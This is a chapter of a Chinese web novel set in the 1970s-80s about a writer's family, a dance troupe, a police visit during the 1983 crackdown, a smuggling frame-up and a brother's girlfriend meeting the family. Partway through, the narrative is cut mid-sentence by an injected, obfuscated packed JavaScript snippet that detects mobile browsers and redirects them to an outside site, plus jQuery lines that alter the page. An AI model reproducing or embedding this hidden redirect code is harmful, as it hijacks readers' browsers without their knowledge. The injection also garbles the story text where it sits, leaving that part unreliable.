89. 严打期警察上门
作品:《七零文工团日常》 好说歹说的,态度坚决地把人送走。得罪人吗?肯定得罪了,但出来做事就这样,怕得罪人,就别想做事了。等晚上吃完饭,向党和周文芳单独过来,十分的抱歉。
向党一脸苦笑:“沈洲这一火,大家都浮躁了。原本还好好跳的演员,都开始一山望着那山高了。今天这事儿怨我,要是态度坚决一点儿,就不会麻烦到你跟前......”
章清云忙开口:“团长说的什么话。也不能说浮躁,就是身边的人成功了,大家羡慕罢了,想去试一试,也无可厚非。团长这么想,那些浮躁的,想去闯一闯的,借着这次机会都走了,那留下来的,就是能安心跳舞并且真心热爱跳舞的,这难道不是好事儿?
桃夭传光排练,至少得大半年时间,这才刚刚开始吧?要是排好了主演们再罢演,那时候才抓瞎呢。如今提前闹开了反而是好事儿。我相信,咱们以后的舞剧,一定是精品。”
好说歹说的,总算是让向党和周文芳没那么愁了。谁知两人还没走呢,被一致看好的桃夭人选上门了。这姑娘叫韦芳,人长得跟当初的蓝可人有些像,大气舒朗的长相,很适合演女侠。骨子里该是有些小聪明,知道刚才人多,章清云不可能答应帮忙,不然以后上门的不得把关家的门槛儿踩烂了?她偷偷上门来,神不知鬼不觉,机会可就是她的了。
谁知这么寸,向党和周文芳正好在,韦芳的笑容多少有些尴尬,当即就感觉进也不是,退也不是。不过,这姑娘决断也快,很快镇定下来,跟沙发另一侧的向党和周文芳诉苦。
“团长,教练,不是我浮躁,我家的情况你们也知道,弟弟妹妹年纪小,父亲前些年受伤,从前线退下来,如今是身子也毁了,工资也不理想。母亲呢,就是个家庭主妇,三个孩子,就我工作了,可光靠团里的基本工资,家里真是快活不下去了。”
她哭丧着脸:“我知道,桃夭的舞剧您二位是寄予了厚望的,我也很想演桃夭,真的,我训练的时候你们也看到了,从来不叫苦,我是真的喜欢跳舞,想演桃夭的舞剧。可是要是......要是能先演电视剧,我......我想试试,演电视剧有其他补贴的,还能出去巡演,就是为了钱,我也想试试。你们说我物质也好,说我没心没肺也好,为了家里人能吃饱穿暖,我都认了......”
章清云去看向党和周文芳的脸色,见这两人虽然失望,却并没有对这女孩儿的厌恶,知道这姑娘说的八成都是真的。可就算如此,她也不能冒然给剧组介绍人啊,这个先例不能开。
章清云这边沉默着,没人说话,屋里诡异地安静起来,韦芳瞬间觉得如坐针毡。
良久,向党叹口气,对着韦芳道:“你家的事儿我和文芳都知道,你也看到了,章清云这里是真没有办法往剧组塞人的。要不然这样,我想办法,给你妈介绍一个临时工的活儿,工资不多,但负担你们一家每个月的伙食,想来是够了的。你安心训练......”
韦芳多看了章清云几眼,章清云只得表态:“不是我不帮忙,我和导演、编剧的合作都是谈好了的,我只负责写,没有资格介绍演员的。”
韦芳闭了闭眼,再睁开时,没了刚才的失望,眼睛里反而是带着笑的,她说:“谢谢团长,你们放心,我一定好好训练......”
章清云只觉得这个韦芳不简单,如今向上的路在这里断了,以后呢?想提醒团长和教练吧,看两人的样子,对韦芳是十分喜欢的,该是很有天赋的舞者?这就不好办了。以后想办法吧,总得提醒团长她们一句。
又是一年暑假,关家惯例要搬去郊区避暑,大家都习惯了,一上午就搬好了。第一次来这么远的地方,一路上,小顺兴奋的不行,指着麦地和稻谷嗷嗷嗷的叫。
一见如此,灿灿可兴奋了,一会儿教小顺认麦苗,一会儿教认识野菜的,姐弟俩玩的可开心了。都以为小顺适应了,谁知道晚上要睡觉的时候,闹开了,指着门外嚷着要走,章清云忙抱着哄;“不走啊,这两个月咱们都住这里,这里就是家。睡吧,爸爸妈妈、爷爷奶奶、姐姐都在呢,不怕啊。”
小顺眼睛都红了,指着门外,瘪着嘴要哭不哭的,看得人心都软了。
灿灿赶紧做个鬼脸:“臭弟弟,这里就是家啊,咱们不走。你看,姐姐也在这儿呢,明天姐姐还跟你玩儿啊。咱们去抓蚂蚱烤蚂蚱吃,晚上还能去摸知了猴,可好玩儿了。”
小顺咦了一声,眨巴着大眼睛盯着灿灿,“啊,啊”的指着门外,却没了刚才的急迫,仿佛在说,晚上真能出去?
灿灿举起双手:“真的,姐姐明天还陪你玩儿,好不好?咱们睡吧,睡觉觉,好不好。”
章清云看得好笑,将小家伙放到床上,让灿灿去哄人。真是的,谁哄都不听,就听灿灿的。梁秀英在旁边笑:“跟百钺小时候一样,做什么都缠着盈钺。”
关百钺:“......”好吧,没想到根儿在这呢。
搬来没多久,曲桓打来电话,跟港城电视台的合作没谈成,打工妹的题材还是由内地这边拍摄。想想也是,中英联合声明还没发,这时候谈合作,还有些早。港城那边有顾虑,也可以理解。那打工妹的版权就是内地的版权价格了,不超过一万元,已经是曲桓能争取到的高价了。
好在如今章清云不靠版权生活,光是桃夭传的书,就已经卖了好些,《钢铁大院》又出了书,她如今的主要收入,已经是卖书赚的钱了。
关于来内地开拓市场,秦燕京跟港城电视台达成了协议。在电话里,她是这么跟章清云说的:“桃夭传第二部去敦煌实地取景。其实钱花的并不多,毕竟如今内地的消费跟港城没法比。估计我以后会常驻京城,是港城电视台在内地的负责人。”
当时在电视台这么一说,大家都不理解秦燕京的做法,毕竟两地如今的差距太大,内地就算市场大,可真正能消费得起的人群,真的多吗?恐怕还没有港城的人口多!花钱赚吆喝,这事儿在港城就是笑话。
秦燕京没办法解释她的决定,小组里想跟着她离开的也不多,眼看S组有分崩离析的趋势,电视台紧急出手,保留了秦燕京在港城的职位,S组的组长还是她,兼任内陆负责人。
“恭喜。”章清云是真心为秦燕京高兴,电视台这么做,无非是惜才罢了,这也侧面说明,秦燕京确实优秀,她关心道,“那你什么时候去敦煌?那边干燥的很,多准备些面膜,不然会不适应的。”
秦燕京笑:“知道了,已经让助手准备了。对了,出版社这边想邀请你来港城签名售书,怎么样,有意向吗?”
章清云拒绝:“我这本还没写完呢,写完了再说吧。”
挂了电话,给了电话钱,这才重新回到四合院。奶粉厂家属院这边,也是走了可多的关系,还去找了关百钺,才申请了这么一部电话,就在家属院正中间的筒子楼,为此还安排了人专门负责看守电话及收费,宝贝的不得了。
关家院子里,关百钺前几天特意去找了木匠,打了两张类似胡床的矮床,灿灿和小顺一人一张,专门摆在院子里,让孩子们躺在上面玩儿。
灿灿喜欢的不行,晚上都想在院子里睡了,说是能看到星星。还是被蚊子咬了三四个包之后,才依依不舍地回了卧室。
如今小顺跟个肉团子似的,滋溜滋溜,撅着小屁股在床上爬的可快了,见章清云回来,坐起来,仰起脖子啊啊啊的叫,还伸出小手让抱,一张脸笑成了桃花,特别讨喜。偏今天梁秀英给小家伙穿了个红肚兜,衬得小脸儿愈发白净。
章清云笑着抱起来:“哎呦,我们小顺以后得迷死多少女孩子啊。咱们长大了可得尊重女孩子,知道不?要是敢犯浑,妈妈第一个饶不了你。”
亲妈这么说孙子,梁秀英也不愿意啊,忙替小顺分辨:“我们小顺才不会呢,是不是?”
小顺咿呀了一声,这时候听得懂什么啊,只以为奶奶和妈妈跟他玩呢,张着嘴留着哈喇子就去亲章清云的脸,咯咯咯笑的可开心了。
章清云略显嫌弃地擦擦脸,这口水哟,见儿子咯咯咯笑得这么开心,得,又亲了孩子一口,这才将孩子放到床上,拍拍小屁股:“玩儿去吧。”
见灿灿趴床上看小人书呢,只是耳朵支棱着,一看就是注意着这边呢。章清云轻笑,三两步上前,趁灿灿不注意,一把捞起来:“哎呦,我们灿灿又长高了,真厉害。”
“妈妈,我是不是重了?你抱不动了吧,快放我下来。”
章清云笑着将灿灿举起来:“怎么抱不动?你就是长到二十岁,妈妈也抱得动。就是到时候你可能就不稀罕妈妈抱了。”说着还故作伤心地瘪嘴。
灿灿笑的格外开心:“稀罕,嘿嘿嘿,到时候我抱妈妈。”
章清云啪叽亲了一口闺女:“那妈妈就等着了。好了,妈妈去写文章了,好好玩儿,看着点儿弟弟,别掉下来了。”
“知道。”
整个暑假,章清云都在写新书,因着这本书并不急着改编成电视剧,那就得细细打磨文字,争取让大家先喜欢这篇小说,再说其他。
期间,苗盼儿和姚燕妮在鹏城传来消息,准备在那边定居,同时准备拓展服装厂的业务。两人一个担任设计师,一个负责服装的销售,忙得不行,实在没精力再两地跑了。
忙忙叨叨的,就在小说写到一半的时候,八月二十五日,轰轰烈烈的八三年严打开始了。大喇叭不停的广播着每日抓到的犯人及其罪行,听的人心里发紧。
街道办、学校、各个机关单位,都开始组织观看公审大会,关家一行人也去了,说实话,很震撼,确实起到了警示作用,特别是在一些犯人还隐约认识的情况下。有那十恶不赦,死刑立即执行的,公审后当即拉到郊区执行死刑。可多的人跟在车子后面,想去看行刑,灿灿都吓坏了,不知道这有什么好看的。
章清云只能忽悠孩子:“看到坏人受惩罚,大家开心嘛。”
能说什么呢,以前刑场砍头,还有人拿着馒头,等着吃人血馒头治病的。如今看个枪决而已,国人还是很胆大的。
本来以为严打跟关家没关系的,谁知这一日,还真有警察上门,找关百钺了解情况。
什么情况呢?原来是之前做顽主的时候,一小弟因为小偷小摸,被抓进去了。
这不是坦白从宽抗拒从严嘛,这小子也是怂,一下子从幼儿园开始坦白,什么抢小女生的零食啦,扒人家小男孩的裤子啦,都交代的一清二楚。那些年做顽主的事儿自然也一五一十地说了,其中就牵扯到关百钺。
好在原身并没有做什么坏事儿,多是别人打架,他在旁边看着这种事儿。都是差不多十年前的旧事儿了,警察也没想找茬,来关家也只是核实一下情况,连带去派出所都不曾。
等恭恭敬敬把人送走,不多时,洪安娜拽着洪常胜从树后边出来,一脸的恨铁不成钢:“我就猜你这边也得有警察上门。”
关百钺笑着将人让进来:“也去找常胜了?”
洪安娜点头:“可不是,你说那小卫子也是,怎么就这么怂!三岁做的坏事儿都恨不得跟警察说,就没见过这么软蛋的男人!”
骂了一通,又点点两人:“以后可老实点儿!跟那些人少来往!可见做什么都有人看着呢,不能行查踏错一点儿的!”
洪常胜双手合十,不住地俯身求饶:“姐,亲姐哎,您都唠叨我一路了,求别再说了行吗?我和百钺哥都是做爸爸的人了,这点儿道理还不懂?你放心,早在来奶粉厂上班之前,我就洗心革面重新做人了!不信你问百钺哥,是不是这回事儿?我这次真是无妄之灾,你看警察都没为难我,就知道那是老黄历了,您怎么还抓着不放?”
洪安娜哼了一声:“知道错就好。不时刻警醒着点儿,我怕你跟以前一样,记吃不记打!”
梁秀英笑着让人坐:“苏大姐,井里湃的西瓜切一盘子。”
洪安娜忙道:“等会儿吧,梁姨,一会儿盈钺他们就该来了,咱们一起吃。”
“还有呢,家里买了一麻袋的西瓜,够吃好几天的。”
屋外传来关盈钺的声音:“那感情好,可热死人了,快切一块儿我好吃。”
说得众人都笑,梁秀英嗔怪:“还供不起你一块儿西瓜了,在这里丢人现眼。”
因着是周末,又是开学搬家之前的最后一次聚餐,洪家、师家、章家都请了,在四合院里烧烤聊天的,也算是惯例了。
章家离得远,来的晚了一些,陈静没来,正值严打时期,都以为是忙不过来加班呢,也就没在意。谁知章砚臻把章清云拉到一边,低声将事情说了。
“你妈把苗祈儿按住了!咱们今儿不是都来你这儿嘛,早早就收拾好出发了,家里就没留人。谁知半路上,清远发现水蜜桃没带,还是特意托同事给你买的,说是特别脆甜,我们就回去拿。谁知道一进大杂院,就发现不对,院里没人!特别的安静。
这在以前可不常见。你妈警醒着呢,悄么悄进屋,这不,按住苗祈儿了!也不知道她怎么钻进咱们家的,被你妈抓了个正着。你妈如今把人送派出所,估计正审着呢,今儿就不用等你妈了。”
章清云心里有数了,八成是高武那边出事儿了,苗祈儿这是想拉章家下水啊。幸亏之前提醒过陈静,不然还真有可能出事儿。
市局,陈静还在后怕,苗祈儿竟然往他们家放走私的香烟!整整一箱子烟,这是想干什么?说明他们家也参与了走私?幸亏是现场按住了人,否则这事儿还真说不清了!
记挂着陈静那边的消息,还有鹏城那边,也不知道陶勇和程卫东怎么样了,章清云和关百钺让大家先吃,两人急匆匆去筒子楼那里打电话。
高武和季长善、还有章家二房到底怎么样了,得问清楚才行。
好在这两人没出事儿,陶勇接的电话,听说是关百钺,还有些惊讶:“怎么这个点儿来电话了?有事儿?”
关百钺:“高武和季长善出事儿了吗?有被抓吗?”
陶勇赶紧否认:“没听说啊,这不是严打嘛,我这几天一直让人盯着呢,没接到消息,八成就是没出事儿。怎么这么问?青江那边出事儿了?”
章清云咦了一声,苗祈儿都动了,高武和季长善那里不可能不出事儿。她搔搔下巴,难道不是高武,而是......二房那边让苗祈儿做的?严打,港城那边不可能不收到消息,为了能够全身而退,用一些小手段吸引大家的注意力,他们在暗处偷摸转移产业,未尝没有可能。
关百钺将苗祈儿的事儿说了,叮嘱道:“小心高武和季长善,还有章家二房和四房。要是有可能,停工一段时间也行,人千万别出事儿。”
陶勇点头:“行,我知道了。”
又叮嘱了几句,这才挂电话。心里却没轻松多少,不管港城章家怎么内斗,不该拉他们下水。看来得找时间跟爷爷说说,港城二房做的有些过了,得让章华铭管管。要是章华铭不管,这个叔爷也不必来往了。
聚餐之后,就得忙活搬家的事儿。今年夏天晒的干菜多,陈静特意在市局借了挎斗摩托,帮关家搬家。因着捐自行车的事儿,陈静如今在市局话语权增加,借车还是很容易的。
小顺这孩子许是不适应搬家,当初不习惯来这里的是他,如今要走了,舍不得的还是他。指着葡萄架和摇椅,以及后院的秋千,嘴里咿咿呀呀个不停,在爷爷怀里扭着小身子朝后看,关家康只能哄孩子:“等到了科研大院,爷爷再给你做一个秋千,好不好?”
这可不容易!小洋楼的院子里就没树,怎么做秋千?谁也没说破,就盼着傻小子能听劝。许是累了吧,咿咿呀呀了几声,到底是窝在爷爷怀里,睡着了。
灿灿还伸手摸摸弟弟的脸,小声嘀咕:“小笨蛋。”
路上,将苗祈儿的事儿以及抓捕之后交代的事儿都说了:“说是鹏城那边来的电话,人她不认识,只是那人说季长善在他手里,苗祈儿要是不配合,就把季长善杀了。这才帮着做事儿的。”
章清云:“这么容易就承认了?”
陈静嗤笑一声:“你以为犯罪分子骨头多硬呢?你啊,就是电视剧和小说看多了。那些人,大部分都是怂包,进去很快就撂了。再说,如今正严打呢,她也怕被枪毙,不等我们问,就抢着说了。也是怕承担责任,毕竟尽快将罪推干净,她也能早些出去。”
章清云:“那她知道那些香烟有问题?”
陈静摇摇头:“没承认,不过都不傻,肯定是猜到了。”
也是,“那苗祈儿能判什么刑?”
陈静拍拍闺女的肩膀:“最多拘留所关一个月。她这个属于被胁迫的,香烟又不是她走私的,她只是怕坏人害了丈夫,能有什么罪呢?行了,别纠结这个了,昨天我跟你爷爷说了,老爷子会跟章华铭那边通气的。和不和那边继续来往,就看章华铭的态度了。”
当初得了章华铭的济,家里很多人都小升了一级,如今受些罪也算是报了当初的恩吧。就算以后不来往,他们也不欠港城那边的。
只是跟苗盼儿那里得说清楚,毕竟是她亲妹妹。电话里,苗盼儿声音听不出起伏,十分冷静。章清云说完事情经过,她只道:“她都多大了,做事情就得承担后果,这事儿不怨你们,该怎么判怎么判,我不会管,也不会让爸妈他们管,这个你放心吧。”
说着叹口气:“当初......给你们带来麻烦了,放心,鹏城这边我会盯着的,不说绝对不出事儿吧,章家二房那边想栽赃陷害,却也不可能。”
行吧,又交代了几句注意身体的话,这才挂了电话。
重新回到科研大院,灿灿开始上二年级,每天背着个小书包按时上下学。小顺刚开始还不习惯,毕竟两个月以来,姐姐每天都陪着他玩,乍然白天见不到,那个闹腾啊,整个白天都让章清云抱着,满屋子溜达着找灿灿,梁秀英抱着都不行,害得章清云一整天没写一个字。关键是,找不见姐姐,小家伙还哭,嗷嗷的,嗓子都能哭哑,特别的执拗。
好在灿灿耐心,放学了陪小家伙玩儿了好一会儿,才让小顺不闹腾了。
这日周六,关家吃完晚饭,正准备出去散步呢,章清远红着脸进来,对着众人不好意思的笑,灿灿咦了一声:“舅舅,你喝酒了?”
章清远微囧,摆摆手:“没有,我......我找你妈有事儿,你出去散步吧,大人的事儿你少掺和。”
灿灿哼了一声,舅舅竟然有事儿瞒着她!章清云赶紧给关百钺使眼色,章清远如此,肯定是有事儿,灿灿还是别掺和了。
关百钺会意,拉着灿灿就往外走:“不是想买酸梅粉吗?爸爸给你买,走吧。”
灿灿噘着嘴,却听话地顺着力道离开。等人都走了,章清远才不好意思的挠挠头:“那个,姐,你......你明天回趟家吧,带着姐夫和灿灿他们。那啥,我......我会带个人回去吃饭。”
章清云挑挑眉,这是带对象回家啊:“不用姐带些啥回去?人家姑娘喜欢吃什么?饮料和零食呢?”
章清远嘿嘿嘿的笑:“羊肉,姐你要是能弄到羊肉,就带些回去。没有也不要紧,我说的有些迟了,嘿嘿。”
章清云敲敲弟弟的头:“你也知道迟了啊?不会是今天才告诉爸妈吧?”
见状,章清云叹气:“你说招待儿媳妇,不得多准备几个菜啊。你个小子,行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663224|180957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,我知道了,你让爸妈别操心,羊肉我想办法。对了,人家姑娘叫啥?我认识不?”
章清远的脸更红了,忙起身往外走:“那什么,姐,我先走了。你明天见到人就知道了,再见。”
得,这是她认识啊还是不认识啊?来这套,她今晚别想睡着了。想到什么,她突然打开门,见人都走远了,不由深深地叹口气。这,你去人家女方家了嘛,就先让女方上门,这做派,多少有些不地道啊。
回到家,想到冰箱里好像还有羊肉。章清云忙去翻冷冻层,这时候也买不着新鲜的羊肉,冻肉回去红烧算了。
因着要给小舅子做脸,关百钺一大早就起来,去家属院菜站排队,老豆腐、豆皮、木耳、粉条,什么稀罕买什么,不多时就装满了一大篮子。一家人吃过早饭,拎上东西就往章家赶。
此时章家,已经忙忙叨叨地开始打扫卫生了,见闺女一家子来了,陈静边擦窗户边跟闺女吐槽:“你弟那个不靠谱的,今天来拜访,昨晚上才说,你说有这么办事儿的嘛。”
章清云低声将猜测说了:“妈,您小声点儿。估计清远还没去过女方家呢,您想想,他前些日子有带东西出门没有?”
陈静脸都红了:“这不省心的,办的都是什么事儿!”这要是传出去,亲家还不得以为他们家霸道不尊重女方啊,哪有不去女方家,直接先来这边的道理!要是处理不好,亲家都得处成仇人。
越想越气不打一出来,陈静扔下抹布,蹭蹭蹭走过去,胳膊甩得特别有劲,一看就生气了。不多时,揪着章清远的耳朵过来:“说,你去过人家女方家没有?正式拜访的那种,提了什么东西?”
章清远支支吾吾,良久才道:“那什么,她姥爷之前住院,我们见过面的。”
陈静使劲儿点了点章清远的额头:“那可不算正式拜访!行了,今天吃了午饭,晚上你拎着东西去女方家,人家说什么你都乖乖听着,明白吗?可不能失礼。”
章清云忙插嘴:“妈,我去看看家里有什么礼盒没有。”快中秋了,来关家送礼的不少,礼盒还是能凑出一些的。
陈静赶紧拉住闺女的胳膊:“不用,家里有,你帮着做饭去吧。”哪有让出嫁的闺女准备儿子上门礼的?自从和港城章家认了亲,不管内里如何吧,过年过节的,来家里拜访的人不少,如今家里能拿得出手的礼盒着实不少,很不必去关家找。
章清云也想明白了,起身去厨房帮着准备吃食。灿灿在一边咯咯咯笑,拉着她舅舅说小话:“舅舅,你要给我娶舅妈了啊?漂不漂亮?我认识不认识?好不好相处?”
章清远刮刮侄女的鼻子:“行了,你个小不点少裹乱。舅舅去接人了,你和哥哥姐姐们玩儿吧。”
灿灿略略略做着鬼脸儿:“舅舅你害羞了~”
章华强和蔡奶奶在院子里乐呵呵瞧着,前些日子和港城那边通过电话,弟弟对于二房的举动很震惊,也很不开心,说一定会管。不管真的假的吧,他这个做哥哥的,总算心里安慰了些。近五十年没见的弟弟和这一大家子摆在一起,他会毫不犹豫地选择这一大家子,可选了,心里不是不痛的。如今弟弟肯为了他约束二房,他死了也能去见爹娘了。
对于章家的忙乱,大杂院众人见了,皆忍不住调侃。这个说章砚臻完成任务了,以后就是闭眼也没什么放不下心的了。那个说章砚廷可就惨了,还有个老儿子得操心。
苗家看着这一大家子忙活,说实话,恨得牙痒痒,想上去咬一口的心都有。可二闺女在人家手里,他们还真不敢做什么,就怕陈静公报私仇,利用二闺女的事儿,攀咬他们家。如今可是严打,那么多人被抓进去,一判就是十好几年,他们可不敢冒险!思想上的巨人,行动上的矮子,说的就是这夫妻俩了。
那边,章清远带着一姑娘,终于到了大杂院门口。
还别说,这姑娘一出现,章清云都愣了。为啥?这姑娘她认识啊,虽不常见面吧,但跟古美长得那么像,肯定是古美妹妹无疑了。
想到古美家里的事儿,章清云心里叹口气。古美母亲方萍当初带着三个闺女嫁给吴峰,吴峰为了巴结老丈人,还将工农兵大学生的名额,给了古美。为此,和亲儿子吴军起了嫌隙,吴军还专门去找关百钺,让关百钺帮他弄工农兵大学生的名额。
后来阴差阳错的,章清云和沈洲以及古美认识了,吴军呢,则和叶宛如结婚生子,如今过得也挺好。本来以为就如此了,谁承想缘分在这等着呢,章清远还能跟古美妹妹成一家。
如果没记错,这姑娘该是叫古芳,是年龄最小的那个,今年跟清远同龄?没想到如今也这么大了,还学了医,跟章清远看对眼儿了。
古芳跟古美性子有些像,大大咧咧的,长相也是属于大气舒朗那一挂的,拎着一个果篮,见了章家人大大方方的喊人:“章爷爷,章奶奶,大伯父,大伯母,叔叔,阿姨......”
陈静笑得格外开心,没想到傻儿子傻人有傻福,找这么一大气的姑娘!忙“哎”了一声,拉着姑娘的手就往里走:“冷了吧?来,快进来暖和暖和。今年这天儿冷的早,瞧这手都冷了,清远,去倒杯红糖水。”
章清远答应了一声,挠着头嘿嘿傻笑,许是觉得不妥,赶紧转身往厨房跑。
章清云莞尔,得了,没想到最先满意的反而是陈静这个婆婆,其他人还能说啥,跟进屋里,满嘴都是嘘寒问暖的话。
家里都是干啥的?什么,姥爷是退休的钢铁厂副厂长!那这家世可不简单。待听到这姑娘是医学院毕业,正规的大学生,心里更满意了几分。门当户对还是有几分道理的,两个医学生至少有话聊不是。
古芳会做人,不仅带了果篮,每人还都准备了小礼物。章爷爷和章奶奶是特意去寺庙求来的开了光的佛珠,两位老人喜欢的不得了。虽说批判了十年的‘封建迷信’,可两人都这么大年纪了,有些观念深入骨髓,不是说变就能变的。
章砚廷和邵华呢,则是去老中医那里求来的膏药,对于干体力活的两人,特别是邵华这种站柜台一站就是一天的,格外友好。
给章砚臻和陈静准备的,则是平安符。虽说对警察来说,这东西有些不伦不类,可章砚臻满意啊,当即就觉得这姑娘贴心。不管别人怎么看,陈静的安全才是最重要的,其他都得给这条让路。
搞定了老人,其他人都好说,都是些惠而不费的东西,什么发卡、胸针、项链的,给几个嫂子一送,大伯子小叔子那里就不用管了,没听过小嫂子给这些人送礼的。
不得不说,古芳是个外粗内细的,看大家都乐呵呵的,陈静心里更满意了几分。儿子看着细心,这些小细节,他还真注意不到。有这么个人帮着他,以后的日子差不了。
给了见面红包,章华强和蔡奶奶给的是金手镯和金项链,章砚廷和邵华则是一人六百块钱。章砚臻和陈静是事主,又得多些,一人包了个一千块的大红包,算是儿媳妇的见面礼。
高高兴兴吃了顿午饭,没让古芳多留,章清远提着八样礼,转身就登了老丈人的门。因着古芳妈是改嫁,亲爸和继父那里都得跑,这就是两天,不过总算是都搞定了,两家人连婚礼时间都商量妥了,十一月二十四,宜结婚订婚祈福,上上好的吉日。
当然,这都是后话,只说从章家吃过午饭回来,正往关家走呢,天气陡然变了,乌云盖顶,气温瞬间降了十几度那种,树枝上肉眼可见地结了白霜,就连脚下的地面,都感觉硬了许多。
这是遇上几十年难遇的寒潮了!
关百钺一把抱起灿灿,章清云将小顺的衣服往上拉了拉,抬起腿撒丫子往家跑。好在两家离得不算远,二十分钟吧,气喘吁吁地到了家。不过还不到十月,没有供暖,家里也冷的不行。
关百钺和章清云忙穿上大棉袄,帽子手套的包裹严实,关百钺回头叮嘱:“妈,我和清云去百货大楼看看,有电褥子就买几个,你们在家看着点儿,别让灿灿他们出去。”
虽然总是有报道,说什么电褥子引发火灾之类的,如今可顾不得那些了。梁秀英也知道轻重,忙点点头:“你们小心点儿,买不着就算了。家里有厚被子,十斤的都有,冻不着。”
两人摆摆手,打开门又迅速关上,很快往百货大楼跑。这时候可没办法骑自行车,地迅速被冻上,滑的不行,跑都得小心着些,更别提骑车了。
到了百货大楼,好家伙,人山人海,别说卖电褥子的了,就是卖棉花的、被子和毯子的柜台都被围得水泄不通,乌泱泱的都是人,根本挤不进去。等挤了一身汗,终于近前了,一问,没货了。
这就没办法了,出了百货大楼,关百钺低声道:“不行搬到四合院那边,当初盖的时候,那边设计的是火墙,只要多买点儿|煤,比科|研大院暖和。”
章清云点点头,不过也忧心啊:“就怕买不到煤,如今可什么都靠着煤炭提供能源呢,没关系很难买到煤。”
可不是,虽说有蓝可人,可多少年没联系了,冒然联系就为了买煤,这种事儿章清云还真有些拉不下脸。回去跟老人们一说,关家康直摆手:“哪儿用这么麻烦,小洋楼这里有壁炉,不行咱们就先烧柴火,总归有点儿作用。凑合上大半个月,十月二十不就供暖了,别折腾了。再说,后勤又不是吃干饭的,说不定会提前供暖。”
梁秀英跟着点头:“过年都是在这边的,冒然搬去那边,怕这边的亲戚朋友再有事儿找不见人。”
行吧,煤不好买,柴火总能买到吧。关百钺请了假,忙着去乡下收柴,如今大块儿晒干的柴火涨了十倍的价钱,就这大家还抢着要,走了三四个村子,才在院子里堆了两垛柴,估摸是够烧到供暖了。

